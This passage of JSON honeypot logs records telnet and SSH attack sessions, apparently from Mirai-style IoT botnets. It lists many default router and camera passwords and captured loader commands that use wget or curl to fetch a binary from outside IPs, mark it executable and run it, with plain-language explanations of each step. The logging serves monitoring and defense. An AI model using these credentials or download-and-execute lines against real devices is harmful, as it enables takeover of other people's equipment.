,"attempts_total":4165,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":106,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x47\\x4e\\x4d\\x41\\x42\\x42'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x47\\x4e\\x4d\\x41\\x42\\x42'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://185.205.226.191:38313/i ||curl -O http://185.205.226.191:38313/i ||/bin/busybox wget http://185.205.226.191:38313/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x49\\x4f\\x46\\x58\\x57\\x55\\x50\\x4a'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1,1],"commands_total":968,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('GNMABB', 'IOFXWUPJ') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 185.205.226[.]191 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":null,"key":"9b5268ca35a2","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"fa725b4791f4","t":"2026-10-22T03:02:17Z","first_t":"2026-10-21T03:03:22Z","repeats":2069,"merged":true,"ip":"112.239.96.41","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"super","p":"PhrQjGzk","ok":false},{"u":"root","p":"","ok":false},{"u":"telnetadmin","p":"telnetadmin","ok":false},{"u":"root","p":"TeleCom_1234","ok":false},{"u":"root","p":"vertex25ektks123","ok":false},{"u":"root","p":"zyad1234","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"123456789","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"BrAhMoS@15","ok":false},{"u":"admin","p":"a1sev5y7c39k","ok":false},{"u":"admin","p":"aquario","ok":false},{"u":"admin","p":"gw1admin","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin","p":"qwerty","ok":false},{"u":"cuadmin","p":"cu@Hnunicom","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"gdcuadmin","p":"gdcuadmin","ok":false},{"u":"netscreen","p":"netscreen","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"2011vesta","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"helpme","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"jvbzd","ok":true},{"u":"root","p":"klv1234","ok":false},{"u":"root","p":"root","ok":false},{"u":"root","p":"xc3511","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"root","p":"zlxx","ok":false},{"u":"super","p":"super","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"support","p":"support","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"telecomadmin","p":"nE7jA%5m","ok":false},{"u":"ximo","p":"","ok":false}],"attempt_n":[4,3,3,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":2070,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":51,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x49\\x4e\\x5a\\x44\\x52\\x55'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x49\\x4e\\x5a\\x44\\x52\\x55'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://112.229.244.155:37347/i ||curl -O http://112.229.244.155:37347/i ||/bin/busybox wget http://112.229.244.155:37347/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x54\\x4f\\x56\\x47\\x57\\x4f\\x57\\x49'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1,1],"commands_total":502,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('INZDRU', 'TOVGWOWI') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 112.229.244[.]155 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":null,"key":"889f805eaf36","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"6bed5a8cde5b","t":"2026-10-22T03:02:15Z","first_t":"2026-10-21T03:03:12Z","repeats":9269,"merged":true,"ip":"112.248.191.35","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"root","ok":true},{"u":"8ehomeasb","p":"8ehomeasb","ok":false},{"u":"Manager","p":"friend","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"CMCCAdmin","p":"CMCCAdmin","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"1234567890","ok":false},{"u":"admin","p":"BrAhMoS@15","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":false},{"u":"admin","p":"a1sev5y7c39k","ok":false},{"u":"admin","p":"adminHW","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"admin","p":"gw1admin","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"admin","p":"vnpt","ok":false},{"u":"administrator","p":"1234","ok":false},{"u":"cht","p":"chtsgpon","ok":false},{"u":"gdcuadmin","p":"gdcuadmin","ok":false},{"u":"guest","p":"123456","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"123456","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"54321","ok":false},{"u":"root","p":"Fireitup","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"bluehorse","ok":false},{"u":"root","p":"pass","ok":false},{"u":"root","p":"password","ok":false},{"u":"root","p":"system","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"root","p":"zyad1234","ok":false},{"u":"super","p":"sp-admin","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"support","p":"support","ok":false},{"u":"telecomadmin","p":"nE7jA%5m","ok":false},{"u":"user","p":"1234","ok":false}],"attempt_n":[4,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":9273,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":230,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x50\\x48\\x41\\x41\\x55\\x59'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x50\\x48\\x41\\x41\\x55\\x59'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://174.105.154.212:55690/i ||curl -O http://174.105.154.212:55690/i ||/bin/busybox wget http://174.105.154.212:55690/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x4e\\x54\\x57\\x56\\x51\\x45\\x55\\x43'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[4,4,4,4,4,4,4,4,4,4,4],"commands_total":2147,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('PHAAUY', 'NTWVQEUC') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 174.105.154[.]212 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":null,"key":"7bdb07a32a81","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"d7a5ef5486bf","t":"2026-10-22T03:02:05Z","first_t":"2026-10-21T16:52:58Z","repeats":9077,"merged":true,"ip":"42.54.142.57","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"guest","p":"12345","ok":true},{"u":"root","p":"","ok":false},{"u":"admin","p":"gw1admin","ok":false},{"u":"root","p":"zte","ok":false},{"u":"super","p":"xJ4pCYeW","ok":false},{"u":"1234","p":"1234","ok":false},{"u":"CUAdmin","p":"CUAdmin","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"1q2w3e","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"adminHW","ok":false},{"u":"admin","p":"plumeria0077","ok":false},{"u":"admin","p":"vnpt","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"localadmin","p":"localadmin","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"netscreen","p":"netscreen","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"2011vesta","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"Fireitup","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"pass","ok":false},{"u":"root","p":"system","ok":false},{"u":"super","p":"super","ok":false},{"u":"supervisor","p":"zyad1234","ok":false},{"u":"user","p":"","ok":false}],"attempt_n":[13,7,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":9077,"distinct_creds":148,"distinct_users":42,"distinct_passwords":115,"got_shell":true,"shell_sessions":567,"commands":[">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4f\\x56\\x57\\x56\\x4b\\x4a'","config terminal","enable","linuxshell","sh","start","su","system","/bin/busybox wget;/bin/busybox echo -ne '\\x4f\\x56\\x57\\x56\\x4b\\x4a'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://36.26.144.254:45341/i ||curl -O http://36.26.144.254:45341/i ||/bin/busybox wget http://36.26.144.254:45341/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x43\\x53\\x45\\x57\\x4a\\x4c\\x4b\\x44'"],"command_n":[12,12,12,12,12,12,12,12,11,9],"commands_total":5293,"distinct_commands":14,"narrative":["Asked for a shell 7 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('OVWVKJ', 'CSEWJLKD') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 36.26.144[.]254 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":null,"key":"4c4975130b3e","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"1fe8e1807317","t":"2026-10-22T03:01:48Z","first_t":"2026-10-21T03:03:56Z","repeats":5681,"merged":true,"ip":"60.18.100.208","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"root","ok":true},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"888888","ok":true},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"vizxv","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"888888","p":"888888","ok":false},{"u":"Admin","p":"Admin","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"54321","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"CTLSupport12","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"admin","p":"meinsm","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"default","p":"default","ok":false},{"u":"guest","p":"guest","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"operator","p":"operator","ok":false},{"u":"root","p":"20080826","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"default","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"ikwb","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"root","p":"zlxx","ok":false},{"u":"service","p":"service","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"supervisor","p":"zyad1234","ok":false},{"u":"telecomadmin","p":"nE7jA%5m","ok":false}],"attempt_n":[3,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":5681,"distinct_creds":148,"distinct_users":42,"distinct_passwords":115,"got_shell":true,"shell_sessions":136,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x5a\\x53\\x56\\x4c\\x57\\x4f'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x5a\\x53\\x56\\x4c\\x57\\x4f'","config terminal","enable","linuxshell","sh","shell","start","su","system",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://98.36.141.73:49467/i ||curl -O http://98.36.141.73:49467/i ||/bin/busybox wget http://98.36.141.73:49467/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x57\\x41\\x43\\x58\\x50\\x54\\x56\\x4d'"],"command_n":[5,5,5,5,5,5,5,5,5,5,4],"commands_total":1377,"distinct_commands":12,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('ZSVLWO', 'WACXPTVM') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 98.36.141[.]73 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":null,"key":"79fa77036617","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"5e704de5c6c3","t":"2026-10-22T03:01:22Z","first_t":"2026-10-21T22:03:18Z","repeats":358,"merged":true,"ip":"94.243.12.58","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"password","ok":false},{"u":"admin","p":"54321","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"zlxx","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"CMCCAdmin","p":"CMCCAdmin","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"admin1234","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"meinsm","ok":false},{"u":"administrator","p":"1234","ok":false},{"u":"default","p":"default","ok":false},{"u":"guest","p":"123456","ok":false},{"u":"guest","p":"guest","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"1234","ok":false},{"u":"root","p":"12345","ok":false},{"u":"root","p":"123456","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"888888","ok":true},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"default","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"klv123","ok":true},{"u":"root","p":"pass","ok":false},{"u":"root","p":"root","ok":false},{"u":"root","p":"system","ok":false},{"u":"root","p":"xc3511","ok":false}],"attempt_n":[4,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":358,"distinct_creds":97,"distinct_users":26,"distinct_passwords":76,"got_shell":true,"shell_sessions":9,"commands":[">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x47\\x50\\x51\\x43\\x51\\x4d'","config terminal","enable","linuxshell","sh","shell","start","su","system","/bin/busybox wget;/bin/busybox echo -ne '\\x47\\x50\\x51\\x43\\x51\\x4d'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://27.219.118.7:41917/i ||curl -O http://27.219.118.7:41917/i ||/bin/busybox wget http://27.219.118.7:41917/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x48\\x5a\\x4e\\x43\\x46\\x5a\\x55\\x4b'"],"command_n":[2,2,2,2,2,2,2,2,2,1,1],"commands_total":53,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('GPQCQM', 'HZNCFZUK') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 27.219.118[.]7 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":null,"key":"0b7a9ece58d3","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"861e9103e5bc","t":"2026-10-22T03:01:19Z","first_t":"2026-10-22T03:01:19Z","repeats":1,"ip":"211.200.11.218","cc":"KR","proto":"ssh","duration_s":23.9,"attempts":[{"u":"defaultcreds","p":"defaultcreds2027#","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"be26400ea4cd","attack":{"type":"password-guessing","name":"Password guessing","badges":[]}},{"id":"fea69e5762bf","t":"2026-10-22T03:01:09Z","first_t":"2026-10-22T03:01:09Z","repeats":1,"ip":"211.200.11.218","cc":"KR","proto":"ssh","duration_s":29.8,"attempts":[{"u":"ubuntu","p":"defaultcreds2027#","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"5ec89eb0ff7b","attack":{"type":"password-guessing","name":"Password guessing","badges":[]}},{"id":"ea0a26de886c","t":"2026-10-22T03:01:09Z","first_t":"2026-10-22T03:01:09Z","repeats":1,"ip":"211.200.11.218","cc":"KR","proto":"ssh","duration_s":29.9,"attempts":[{"u":"root","p":"defaultcreds2027#","ok":false}],"got_shell":false,"commands":[],"commands_total":0,"narrative":[],"tags":[],"replay":null,"key":"8eafebb8cab9","attack":{"type":"password-guessing","name":"Password guessing","badges":[]}},{"id":"b2c8cd8a71b9","t":"2026-10-22T03:01:02Z","first_t":"2026-10-21T22:58:17Z","repeats":685,"merged":true,"ip":"94.243.10.159","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"GeNeXiS@19","ok":false},{"u":"admin","p":"adminHW","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"root","p":"system","ok":false},{"u":"root","p":"vizxv","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"888888","p":"888888","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"54321","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"admin1234","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"gw1admin","ok":false},{"u":"admin","p":"meinsm","ok":false},{"u":"admin","p":"password","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"root","p":"1234","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"888888","ok":true},{"u":"root","p":"Fireitup","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"dreambox","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"ikwb","ok":false},{"u":"root","p":"jvbzd","ok":true},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"pass","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"zlxx","ok":false}],"attempt_n":[2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":685,"distinct_creds":99,"distinct_users":27,"distinct_passwords":77,"got_shell":true,"shell_sessions":31,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x56\\x58\\x53\\x46\\x4d\\x42'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x56\\x58\\x53\\x46\\x4d\\x42'","config terminal","enable","linuxshell","sh","shell","start","su","system",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://123.170.101.120:36920/i ||curl -O http://123.170.101.120:36920/i ||/bin/busybox wget http://123.170.101.120:36920/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x45\\x57\\x52\\x47\\x50\\x4b\\x41\\x58'"],"command_n":[3,3,3,3,3,3,3,3,3,3,2],"commands_total":319,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('VXSFMB', 'EWRGPKAX') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 123.170.101[.]120 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":null,"key":"8f9be795ee00","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"8b31d824c661","t":"2026-10-22T02:59:46Z","first_t":"2026-10-21T03:05:33Z","repeats":3379,"merged":true,"ip":"81.227.54.149","cc":"SE","proto":"telnet","duration_s":null,"attempts":[{"u":"guest","p":"guest","ok":false},{"u":"admin","p":"gpon@Vnt00","ok":false},{"u":"admin","p":"gw1admin","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"root","p":"jvbzd","ok":true},{"u":"support","p":"support123","ok":false},{"u":"yhtcAdmin","p":"Cm1@YHfw","ok":false},{"u":"888888","p":"888888","ok":false},{"u":"CMCCAdmin","p":"CMCCAdmin","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"BrAhMoS@15","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"admin","p":"plumeria0077","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"cuadmin","p":"cu@Hnunicom","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"localadmin","p":"localadmin","ok":false},{"u":"netscreen","p":"netscreen","ok":false},{"u":"nmgcuadmin","p":"nmgcuadmin","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"1234","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"Admin","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"bluehorse","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"ifconfig","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"xc3511","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"root","p":"zlxx","ok":false},{"u":"root","p":"zte","ok":false},{"u":"super","p":"xJ4pCYeW","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"ubnt","p":"ubnt","ok":false}],"attempt_n":[3,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":3379,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":101,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x48\\x55\\x47\\x4b\\x4b\\x45'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd 